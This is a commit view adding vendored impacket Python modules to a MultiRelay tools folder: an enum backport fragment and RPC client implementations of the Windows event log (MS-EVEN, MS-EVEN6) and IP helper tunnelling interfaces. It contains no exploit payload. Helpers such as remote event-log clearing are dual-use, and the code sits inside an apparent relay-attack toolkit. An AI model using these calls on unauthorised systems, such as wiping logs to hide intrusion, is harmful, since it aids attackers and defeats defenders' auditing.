if __new__ is object.__new__:
use_args = False
else:
use_args = True
return __new__, save_new, use_args
########################################################
# In order to support Python 2 and 3 with a single
# codebase we have to create the Enum methods separately
# and then use the `type(name, bases, dict)` method to
# create the class.
########################################################
temp_enum_dict = {}
temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n"
def __new__(cls, value):
# all enum instances are actually created during class construction
# without calling this method; this method is called by the metaclass'
# __call__ (i.e. Color(3) ), and by pickle
if type(value) is cls:
# For lookups like Color(Color.red)
value = value.value
#return value
# by-value search for a matching enum member
# see if it's in the reverse mapping (for hashable values)
try:
if value in cls._value2member_map_:
return cls._value2member_map_[value]
except TypeError:
# not there, now do long search -- O(n) behavior
for member in cls._member_map_.values():
if member.value == value:
return member
raise ValueError("%s is not a valid %s" % (value, cls.__name__))
temp_enum_dict['__new__'] = __new__
del __new__
def __repr__(self):
return "<%s.%s: %r>" % (
self.__class__.__name__, self._name_, self._value_)
temp_enum_dict['__repr__'] = __repr__
del __repr__
def __str__(self):
return "%s.%s" % (self.__class__.__name__, self._name_)
temp_enum_dict['__str__'] = __str__
del __str__
def __dir__(self):
added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_']
return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior)
temp_enum_dict['__dir__'] = __dir__
del __dir__
def __format__(self, format_spec):
# mixed-in Enums should use the mixed-in type's __format__, otherwise
# we can get strange results with the Enum name showing up instead of
# the value
# pure Enum branch
if self._member_type_ is object:
cls = str
val = str(self)
# mix-in branch
else:
cls = self._member_type_
val = self.value
return cls.__format__(val, format_spec)
temp_enum_dict['__format__'] = __format__
del __format__
####################################
# Python's less than 2.6 use __cmp__
if pyver < 2.6:
def __cmp__(self, other):
if type(other) is self.__class__:
if self is other:
return 0
return -1
return NotImplemented
raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__cmp__'] = __cmp__
del __cmp__
else:
def __le__(self, other):
raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__le__'] = __le__
del __le__
def __lt__(self, other):
raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__lt__'] = __lt__
del __lt__
def __ge__(self, other):
raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__ge__'] = __ge__
del __ge__
def __gt__(self, other):
raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__gt__'] = __gt__
del __gt__
def __eq__(self, other):
if type(other) is self.__class__:
return self is other
return NotImplemented
temp_enum_dict['__eq__'] = __eq__
del __eq__
def __ne__(self, other):
if type(other) is self.__class__:
return self is not other
return NotImplemented
temp_enum_dict['__ne__'] = __ne__
del __ne__
def __getnewargs__(self):
return (self._value_, )
temp_enum_dict['__getnewargs__'] = __getnewargs__
del __getnewargs__
def __hash__(self):
return hash(self._name_)
temp_enum_dict['__hash__'] = __hash__
del __hash__
# _RouteClassAttributeToGetattr is used to provide access to the `name`
# and `value` properties of enum members while keeping some measure of
# protection from modification, while still allowing for an enumeration
# to have members named `name` and `value`. This works because enumeration
# members are not set directly on the enum class -- __getattr__ is
# used to look them up.
@_RouteClassAttributeToGetattr
def name(self):
return self._name_
temp_enum_dict['name'] = name
del name
@_RouteClassAttributeToGetattr
def value(self):
return self._value_
temp_enum_dict['value'] = value
del value
Enum = EnumMeta('Enum', (object, ), temp_enum_dict)
del temp_enum_dict
# Enum has now been created
###########################
class IntEnum(int, Enum):
"""Enum where members are also (and must be) ints"""
def unique(enumeration):
"""Class decorator that ensures only unique members exist in an enumeration."""
duplicates = []
for name, member in enumeration.__members__.items():
if name != member.name:
duplicates.append((name, member.name))
if duplicates:
duplicate_names = ', '.join(
["%s -> %s" % (alias, name) for (alias, name) in duplicates]
)
raise ValueError('duplicate names found in %r: %s' %
(enumeration, duplicate_names)
)
return enumeration

1383
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/epm.py Normal file
View File

File diff suppressed because it is too large Load Diff

400
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/even.py Normal file
View File

@@ -0,0 +1,400 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
# Itamar Mizrahi (@MrAnde7son)
#
# Description:
# [MS-EVEN] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from __future__ import division
from __future__ import print_function
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDR, NDRPOINTERNULL, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import ULONG, LPWSTR, RPC_UNICODE_STRING, LPSTR, NTSTATUS, NULL, PRPC_UNICODE_STRING, PULONG, USHORT, PRPC_SID, LPBYTE
from impacket.dcerpc.v5.lsad import PRPC_UNICODE_STRING_ARRAY
from impacket.structure import Structure
from impacket import nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_EVEN = uuidtup_to_bin(('82273FDC-E32A-18C3-3F78-827929DC23EA','0.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in nt_errors.ERROR_MESSAGES:
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'EVEN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EVEN SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.2 EventType
EVENTLOG_SUCCESS = 0x0000
EVENTLOG_ERROR_TYPE = 0x0001
EVENTLOG_WARNING_TYPE = 0x0002
EVENTLOG_INFORMATION_TYPE = 0x0004
EVENTLOG_AUDIT_SUCCESS = 0x0008
EVENTLOG_AUDIT_FAILURE = 0x0010
# 2.2.7 EVENTLOG_HANDLE_A and EVENTLOG_HANDLE_W
#EVENTLOG_HANDLE_A
EVENTLOG_HANDLE_W = LPWSTR
# 2.2.9 Constants Used in Method Definitions
MAX_STRINGS = 0x00000100
MAX_SINGLE_EVENT = 0x0003FFFF
MAX_BATCH_BUFF = 0x0007FFFF
# 3.1.4.7 ElfrReadELW (Opnum 10)
EVENTLOG_SEQUENTIAL_READ = 0x00000001
EVENTLOG_SEEK_READ = 0x00000002
EVENTLOG_FORWARDS_READ = 0x00000004
EVENTLOG_BACKWARDS_READ = 0x00000008
################################################################################
# STRUCTURES
################################################################################
class IELF_HANDLE(NDRSTRUCT):
structure = (
('Data','20s=""'),
)
def getAlignment(self):
return 1
# 2.2.3 EVENTLOGRECORD
class EVENTLOGRECORD(Structure):
structure = (
('Length','<L=0'),
('Reserved','<L=0'),
('RecordNumber','<L=0'),
('TimeGenerated','<L=0'),
('TimeWritten','<L=0'),
('EventID','<L=0'),
('EventType','<H=0'),
('NumStrings','<H=0'),
('EventCategory','<H=0'),
('ReservedFlags','<H=0'),
('ClosingRecordNumber','<L=0'),
('StringOffset','<L=0'),
('UserSidLength','<L=0'),
('UserSidOffset','<L=0'),
('DataLength','<L=0'),
('DataOffset','<L=0'),
('SourceName','z'),
('Computername','z'),
('UserSidPadding',':'),
('_UserSid','_-UserSid', 'self["UserSidLength"]'),
('UserSid',':'),
('Strings',':'),
('_Data','_-Data', 'self["DataLength"]'),
('Data',':'),
('Padding',':'),
('Length2','<L=0'),
)
# 2.2.4 EVENTLOG_FULL_INFORMATION
class EVENTLOG_FULL_INFORMATION(NDRSTRUCT):
structure = (
('dwFull', ULONG),
)
# 2.2.8 RPC_CLIENT_ID
class RPC_CLIENT_ID(NDRSTRUCT):
structure = (
('UniqueProcess', ULONG),
('UniqueThread', ULONG),
)
# 2.2.12 RPC_STRING
class RPC_STRING(NDRSTRUCT):
structure = (
('Length','<H=0'),
('MaximumLength','<H=0'),
('Data',LPSTR),
)
def __setitem__(self, key, value):
if key == 'Data' and isinstance(value, NDR) is False:
self['Length'] = len(value)
self['MaximumLength'] = len(value)
return NDRSTRUCT.__setitem__(self, key, value)
def dump(self, msg = None, indent = 0):
if msg is None: msg = self.__class__.__name__
if msg != '':
print("%s" % msg, end=' ')
if isinstance(self.fields['Data'] , NDRPOINTERNULL):
print(" NULL", end=' ')
elif self.fields['Data']['ReferentID'] == 0:
print(" NULL", end=' ')
else:
return self.fields['Data'].dump('',indent)
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.9 ElfrClearELFW (Opnum 0)
class ElfrClearELFW(NDRCALL):
opnum = 0
structure = (
('LogHandle', IELF_HANDLE),
('BackupFileName', PRPC_UNICODE_STRING),
)
class ElfrClearELFWResponse(NDRCALL):
structure = (
('ErrorCode', NTSTATUS),
)
# 3.1.4.11 ElfrBackupELFW (Opnum 1)
class ElfrBackupELFW(NDRCALL):
opnum = 1
structure = (
('LogHandle', IELF_HANDLE),
('BackupFileName', RPC_UNICODE_STRING),
)
class ElfrBackupELFWResponse(NDRCALL):
structure = (
('ErrorCode', NTSTATUS),
)
# 3.1.4.21 ElfrCloseEL (Opnum 2)
class ElfrCloseEL(NDRCALL):
opnum = 2
structure = (
('LogHandle', IELF_HANDLE),
)
class ElfrCloseELResponse(NDRCALL):
structure = (
('LogHandle', IELF_HANDLE),
('ErrorCode', NTSTATUS),
)
# 3.1.4.18 ElfrNumberOfRecords (Opnum 4)
class ElfrNumberOfRecords(NDRCALL):
opnum = 4
structure = (
('LogHandle', IELF_HANDLE),
)
class ElfrNumberOfRecordsResponse(NDRCALL):
structure = (
('NumberOfRecords', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.19 ElfrOldestRecord (Opnum 5)
class ElfrOldestRecord(NDRCALL):
opnum = 5
structure = (
('LogHandle', IELF_HANDLE),
)
class ElfrOldestRecordResponse(NDRCALL):
structure = (
('OldestRecordNumber', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.3 ElfrOpenELW (Opnum 7)
class ElfrOpenELW(NDRCALL):
opnum = 7
structure = (
('UNCServerName', EVENTLOG_HANDLE_W),
('ModuleName', RPC_UNICODE_STRING),
('RegModuleName', RPC_UNICODE_STRING),
('MajorVersion', ULONG),
('MinorVersion', ULONG),
)
class ElfrOpenELWResponse(NDRCALL):
structure = (
('LogHandle', IELF_HANDLE),
('ErrorCode', NTSTATUS),
)
# 3.1.4.5 ElfrRegisterEventSourceW (Opnum 8)
class ElfrRegisterEventSourceW(NDRCALL):
opnum = 8
structure = (
('UNCServerName', EVENTLOG_HANDLE_W),
('ModuleName', RPC_UNICODE_STRING),
('RegModuleName', RPC_UNICODE_STRING),
('MajorVersion', ULONG),
('MinorVersion', ULONG),
)
class ElfrRegisterEventSourceWResponse(NDRCALL):
structure = (
('LogHandle', IELF_HANDLE),
('ErrorCode', NTSTATUS),
)
# 3.1.4.1 ElfrOpenBELW (Opnum 9)
class ElfrOpenBELW(NDRCALL):
opnum = 9
structure = (
('UNCServerName', EVENTLOG_HANDLE_W),
('BackupFileName', RPC_UNICODE_STRING),
('MajorVersion', ULONG),
('MinorVersion', ULONG),
)
class ElfrOpenBELWResponse(NDRCALL):
structure = (
('LogHandle', IELF_HANDLE),
('ErrorCode', NTSTATUS),
)
# 3.1.4.7 ElfrReadELW (Opnum 10)
class ElfrReadELW(NDRCALL):
opnum = 10
structure = (
('LogHandle', IELF_HANDLE),
('ReadFlags', ULONG),
('RecordOffset', ULONG),
('NumberOfBytesToRead', ULONG),
)
class ElfrReadELWResponse(NDRCALL):
structure = (
('Buffer', NDRUniConformantArray),
('NumberOfBytesRead', ULONG),
('MinNumberOfBytesNeeded', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.13 ElfrReportEventW (Opnum 11)
class ElfrReportEventW(NDRCALL):
opnum = 11
structure = (
('LogHandle', IELF_HANDLE),
('Time', ULONG),
('EventType', USHORT),
('EventCategory', USHORT),
('EventID', ULONG),
('NumStrings', USHORT),
('DataSize', ULONG),
('ComputerName', RPC_UNICODE_STRING),
('UserSID', PRPC_SID),
('Strings', PRPC_UNICODE_STRING_ARRAY),
('Data', LPBYTE),
('Flags', USHORT),
('RecordNumber', PULONG),
('TimeWritten', PULONG),
)
class ElfrReportEventWResponse(NDRCALL):
structure = (
('RecordNumber', PULONG),
('TimeWritten', PULONG),
('ErrorCode', NTSTATUS),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (ElfrClearELFW, ElfrClearELFWResponse),
1 : (ElfrBackupELFW, ElfrBackupELFWResponse),
2 : (ElfrCloseEL, ElfrCloseELResponse),
4 : (ElfrNumberOfRecords, ElfrNumberOfRecordsResponse),
5 : (ElfrOldestRecord, ElfrOldestRecordResponse),
7 : (ElfrOpenELW, ElfrOpenELWResponse),
8 : (ElfrRegisterEventSourceW, ElfrRegisterEventSourceWResponse),
9 : (ElfrOpenBELW, ElfrOpenBELWResponse),
10 : (ElfrReadELW, ElfrReadELWResponse),
11 : (ElfrReportEventW, ElfrReportEventWResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hElfrOpenBELW(dce, backupFileName = NULL):
request = ElfrOpenBELW()
request['UNCServerName'] = NULL
request['BackupFileName'] = backupFileName
request['MajorVersion'] = 1
request['MinorVersion'] = 1
return dce.request(request)
def hElfrOpenELW(dce, moduleName = NULL, regModuleName = NULL):
request = ElfrOpenELW()
request['UNCServerName'] = NULL
request['ModuleName'] = moduleName
request['RegModuleName'] = regModuleName
request['MajorVersion'] = 1
request['MinorVersion'] = 1
return dce.request(request)
def hElfrCloseEL(dce, logHandle):
request = ElfrCloseEL()
request['LogHandle'] = logHandle
resp = dce.request(request)
return resp
def hElfrRegisterEventSourceW(dce, moduleName = NULL, regModuleName = NULL):
request = ElfrRegisterEventSourceW()
request['UNCServerName'] = NULL
request['ModuleName'] = moduleName
request['RegModuleName'] = regModuleName
request['MajorVersion'] = 1
request['MinorVersion'] = 1
return dce.request(request)
def hElfrReadELW(dce, logHandle = '', readFlags = EVENTLOG_SEEK_READ|EVENTLOG_FORWARDS_READ,
recordOffset = 0, numberOfBytesToRead = MAX_BATCH_BUFF):
request = ElfrReadELW()
request['LogHandle'] = logHandle
request['ReadFlags'] = readFlags
request['RecordOffset'] = recordOffset
request['NumberOfBytesToRead'] = numberOfBytesToRead
return dce.request(request)
def hElfrClearELFW(dce, logHandle = '', backupFileName = NULL):
request = ElfrClearELFW()
request['LogHandle'] = logHandle
request['BackupFileName'] = backupFileName
return dce.request(request)
def hElfrBackupELFW(dce, logHandle = '', backupFileName = NULL):
request = ElfrBackupELFW()
request['LogHandle'] = logHandle
request['BackupFileName'] = backupFileName
return dce.request(request)
def hElfrNumberOfRecords(dce, logHandle):
request = ElfrNumberOfRecords()
request['LogHandle'] = logHandle
resp = dce.request(request)
return resp
def hElfrOldestRecordNumber(dce, logHandle):
request = ElfrOldestRecord()
request['LogHandle'] = logHandle
resp = dce.request(request)
return resp

344
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/even6.py Normal file
View File

@@ -0,0 +1,344 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
# Copyright (c) 2017 @MrAnde7son
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Itamar (@MrAnde7son)
#
# Description:
# Initial [MS-EVEN6] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket import system_errors
from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_EVEN6 = uuidtup_to_bin(('F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EVEN6 SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EVEN6 SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# Evt Path Flags
EvtQueryChannelName = 0x00000001
EvtQueryFilePath = 0x00000002
EvtReadOldestToNewest = 0x00000100
EvtReadNewestToOldest = 0x00000200
################################################################################
# STRUCTURES
################################################################################
class CONTEXT_HANDLE_LOG_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s=""'),
)
class PCONTEXT_HANDLE_LOG_HANDLE(NDRPOINTER):
referent = (
('Data', CONTEXT_HANDLE_LOG_HANDLE),
)
class CONTEXT_HANDLE_LOG_QUERY(NDRSTRUCT):
align = 1
structure = (
('Data', '20s=""'),
)
class PCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER):
referent = (
('Data', CONTEXT_HANDLE_LOG_QUERY),
)
class LPPCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER):
referent = (
('Data', PCONTEXT_HANDLE_LOG_QUERY),
)
class CONTEXT_HANDLE_OPERATION_CONTROL(NDRSTRUCT):
align = 1
structure = (
('Data', '20s=""'),
)
class PCONTEXT_HANDLE_OPERATION_CONTROL(NDRPOINTER):
referent = (
('Data', CONTEXT_HANDLE_OPERATION_CONTROL),
)
# 2.2.11 EvtRpcQueryChannelInfo
class EvtRpcQueryChannelInfo(NDRSTRUCT):
structure = (
('Name', LPWSTR),
('Status', DWORD),
)
class EvtRpcQueryChannelInfoArray(NDRUniVaryingArray):
item = EvtRpcQueryChannelInfo
class LPEvtRpcQueryChannelInfoArray(NDRPOINTER):
referent = (
('Data', EvtRpcQueryChannelInfoArray)
)
class RPC_INFO(NDRSTRUCT):
structure = (
('Error', DWORD),
('SubError', DWORD),
('SubErrorParam', DWORD),
)
class PRPC_INFO(NDRPOINTER):
referent = (
('Data', RPC_INFO)
)
class WSTR_ARRAY(NDRUniVaryingArray):
item = WSTR
class DWORD_ARRAY(NDRUniVaryingArray):
item = DWORD
class LPDWORD_ARRAY(NDRPOINTER):
referent = (
('Data', DWORD_ARRAY)
)
class BYTE_ARRAY(NDRUniVaryingArray):
item = 'c'
class CBYTE_ARRAY(NDRUniVaryingArray):
item = BYTE
class CDWORD_ARRAY(NDRUniConformantArray):
item = DWORD
class LPBYTE_ARRAY(NDRPOINTER):
referent = (
('Data', CBYTE_ARRAY)
)
class ULONG_ARRAY(NDRUniVaryingArray):
item = ULONG
# 2.3.1 EVENT_DESCRIPTOR
class EVENT_DESCRIPTOR(NDRSTRUCT):
structure = (
('Id', WORD),
('Version', BYTE),
('Channel', BYTE),
('LevelSeverity', BYTE),
('Opcode', BYTE),
('Task', WORD),
('Keyword', ULONG),
)
class BOOKMARK(NDRSTRUCT):
structure = (
('BookmarkSize', DWORD),
('HeaderSize', '<L=0x18'),
('ChannelSize', DWORD),
('CurrentChannel', DWORD),
('ReadDirection', DWORD),
('RecordIdsOffset', DWORD),
('LogRecordNumbers', ULONG_ARRAY),
)
#2.2.17 RESULT_SET
class RESULT_SET(NDRSTRUCT):
structure = (
('TotalSize', DWORD),
('HeaderSize', DWORD),
('EventOffset', DWORD),
('BookmarkOffset', DWORD),
('BinXmlSize', DWORD),
('EventData', BYTE_ARRAY),
#('NumberOfSubqueryIDs', '<L=0'),
#('SubqueryIDs', BYTE_ARRAY),
#('BookMarkData', BOOKMARK),
)
################################################################################
# RPC CALLS
################################################################################
class EvtRpcRegisterLogQuery(NDRCALL):
opnum = 5
structure = (
('Path', LPWSTR),
('Query', WSTR),
('Flags', DWORD),
)
class EvtRpcRegisterLogQueryResponse(NDRCALL):
structure = (
('Handle', CONTEXT_HANDLE_LOG_QUERY),
('OpControl', CONTEXT_HANDLE_OPERATION_CONTROL),
('QueryChannelInfoSize', DWORD),
('QueryChannelInfo', EvtRpcQueryChannelInfoArray),
('Error', RPC_INFO),
)
class EvtRpcQueryNext(NDRCALL):
opnum = 11
structure = (
('LogQuery', CONTEXT_HANDLE_LOG_QUERY),
('NumRequestedRecords', DWORD),
('TimeOutEnd', DWORD),
('Flags', DWORD),
)
class EvtRpcQueryNextResponse(NDRCALL):
structure = (
('NumActualRecords', DWORD),
('EventDataIndices', DWORD_ARRAY),
('EventDataSizes', DWORD_ARRAY),
('ResultBufferSize', DWORD),
('ResultBuffer', BYTE_ARRAY),
('ErrorCode', ULONG),
)
class EvtRpcQuerySeek(NDRCALL):
opnum = 12
structure = (
('LogQuery', CONTEXT_HANDLE_LOG_QUERY),
('Pos', LARGE_INTEGER),
('BookmarkXML', LPWSTR),
('Flags', DWORD),
)
class EvtRpcQuerySeekResponse(NDRCALL):
structure = (
('Error', RPC_INFO),
)
class EvtRpcClose(NDRCALL):
opnum = 13
structure = (
("Handle", CONTEXT_HANDLE_LOG_HANDLE),
)
class EvtRpcCloseResponse(NDRCALL):
structure = (
("Handle", PCONTEXT_HANDLE_LOG_HANDLE),
('ErrorCode', ULONG),
)
class EvtRpcOpenLogHandle(NDRCALL):
opnum = 17
structure = (
('Channel', WSTR),
('Flags', DWORD),
)
class EvtRpcOpenLogHandleResponse(NDRCALL):
structure = (
('Handle', PCONTEXT_HANDLE_LOG_HANDLE),
('Error', RPC_INFO),
)
class EvtRpcGetChannelList(NDRCALL):
opnum = 19
structure = (
('Flags', DWORD),
)
class EvtRpcGetChannelListResponse(NDRCALL):
structure = (
('NumChannelPaths', DWORD),
('ChannelPaths', WSTR_ARRAY),
('ErrorCode', ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
5 : (EvtRpcRegisterLogQuery, EvtRpcRegisterLogQueryResponse),
11 : (EvtRpcQueryNext, EvtRpcQueryNextResponse),
12 : (EvtRpcQuerySeek, EvtRpcQuerySeekResponse),
13 : (EvtRpcClose, EvtRpcCloseResponse),
17 : (EvtRpcOpenLogHandle, EvtRpcOpenLogHandle),
19 : (EvtRpcGetChannelList, EvtRpcGetChannelListResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hEvtRpcRegisterLogQuery(dce, path, flags, query='*\x00'):
request = EvtRpcRegisterLogQuery()
request['Path'] = path
request['Query'] = query
request['Flags'] = flags
resp = dce.request(request)
return resp
def hEvtRpcQueryNext(dce, handle, numRequestedRecords, timeOutEnd=1000):
request = EvtRpcQueryNext()
request['LogQuery'] = handle
request['NumRequestedRecords'] = numRequestedRecords
request['TimeOutEnd'] = timeOutEnd
request['Flags'] = 0
status = system_errors.ERROR_MORE_DATA
resp = dce.request(request)
while status == system_errors.ERROR_MORE_DATA:
try:
resp = dce.request(request)
except DCERPCException as e:
if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
raise
elif str(e).find('ERROR_TIMEOUT') < 0:
raise
resp = e.get_packet()
return resp
def hEvtRpcClose(dce, handle):
request = EvtRpcClose()
request['Handle'] = handle
resp = dce.request(request)
return resp
def hEvtRpcOpenLogHandle(dce, channel, flags):
request = EvtRpcOpenLogHandle()
request['Channel'] = channel
request['Flags'] = flags
return dce.request(request)
def hEvtRpcGetChannelList(dce):
request = EvtRpcGetChannelList()
request['Flags'] = 0
resp = dce.request(request)
return resp

172
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/iphlp.py Normal file
View File

@@ -0,0 +1,172 @@
# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Authors:
# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
#
# Description:
# Implementation of iphlpsvc.dll MSRPC calls (Service that offers IPv6 connectivity over an IPv4 network)
from socket import inet_aton
from impacket import uuid
from impacket import hresult_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.dtypes import BYTE, ULONG, WSTR, GUID, NULL
from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_IPHLP_IP_TRANSITION = uuidtup_to_bin(('552d076a-cb29-4e44-8b6a-d15e59e2c0af', '1.0'))
# RPC_IF_ALLOW_LOCAL_ONLY
MSRPC_UUID_IPHLP_TEREDO = uuidtup_to_bin(('ecbdb051-f208-46b9-8c8b-648d9d3f3944', '1.0'))
MSRPC_UUID_IPHLP_TEREDO_CONSUMER = uuidtup_to_bin(('1fff8faa-ec23-4e3f-a8ce-4b2f8707e636', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in hresult_errors.ERROR_MESSAGES:
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'IPHLP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'IPHLP SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# Notification types
NOTIFICATION_ISATAP_CONFIGURATION_CHANGE = 0
NOTIFICATION_PROCESS6TO4_CONFIGURATION_CHANGE = 1
NOTIFICATION_TEREDO_CONFIGURATION_CHANGE = 2
NOTIFICATION_IP_TLS_CONFIGURATION_CHANGE = 3
NOTIFICATION_PORT_CONFIGURATION_CHANGE = 4
NOTIFICATION_DNS64_CONFIGURATION_CHANGE = 5
NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX = 6
################################################################################
# STRUCTURES
################################################################################
class BYTE_ARRAY(NDRUniConformantArray):
item = 'c'
################################################################################
# RPC CALLS
################################################################################
# Opnum 0
class IpTransitionProtocolApplyConfigChanges(NDRCALL):
opnum = 0
structure = (
('NotificationNum', BYTE),
)
class IpTransitionProtocolApplyConfigChangesResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
# Opnum 1
class IpTransitionProtocolApplyConfigChangesEx(NDRCALL):
opnum = 1
structure = (
('NotificationNum', BYTE),
('DataLength', ULONG),
('Data', BYTE_ARRAY),
)
class IpTransitionProtocolApplyConfigChangesExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
# Opnum 2
class IpTransitionCreatev6Inv4Tunnel(NDRCALL):
opnum = 2
structure = (
('LocalAddress', "4s=''"),
('RemoteAddress', "4s=''"),
('InterfaceName', WSTR),
)
class IpTransitionCreatev6Inv4TunnelResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
# Opnum 3
class IpTransitionDeletev6Inv4Tunnel(NDRCALL):
opnum = 3
structure = (
('TunnelGuid', GUID),
)
class IpTransitionDeletev6Inv4TunnelResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse),
1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse),
2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse),
3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse)
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
# For all notifications except EX
def hIpTransitionProtocolApplyConfigChanges(dce, notification_num):
request = IpTransitionProtocolApplyConfigChanges()
request['NotificationNum'] = notification_num
return dce.request(request)
# Only for NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX
# No admin required
def hIpTransitionProtocolApplyConfigChangesEx(dce, notification_num, notification_data):
request = IpTransitionProtocolApplyConfigChangesEx()
request['NotificationNum'] = notification_num
request['DataLength'] = len(notification_data)
request['Data'] = notification_data
return dce.request(request)
# Same as netsh interface ipv6 add v6v4tunnel "Test Tunnel" 192.168.0.1 10.0.0.5
def hIpTransitionCreatev6Inv4Tunnel(dce, local_address, remote_address, interface_name):
request = IpTransitionCreatev6Inv4Tunnel()
request['LocalAddress'] = inet_aton(local_address)
request['RemoteAddress'] = inet_aton(remote_address)
request['InterfaceName'] = checkNullString(interface_name)
request.fields['InterfaceName'].fields['MaximumCount'] = 256
return dce.request(request)
def hIpTransitionDeletev6Inv4Tunnel(dce, tunnel_guid):
request = IpTransitionDeletev6Inv4Tunnel()
request['TunnelGuid'] = uuid.string_to_bin(tunnel_guid)
return dce.request(request)

1665
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/lsad.py Normal file
View File

File diff suppressed because it is too large Load Diff

494
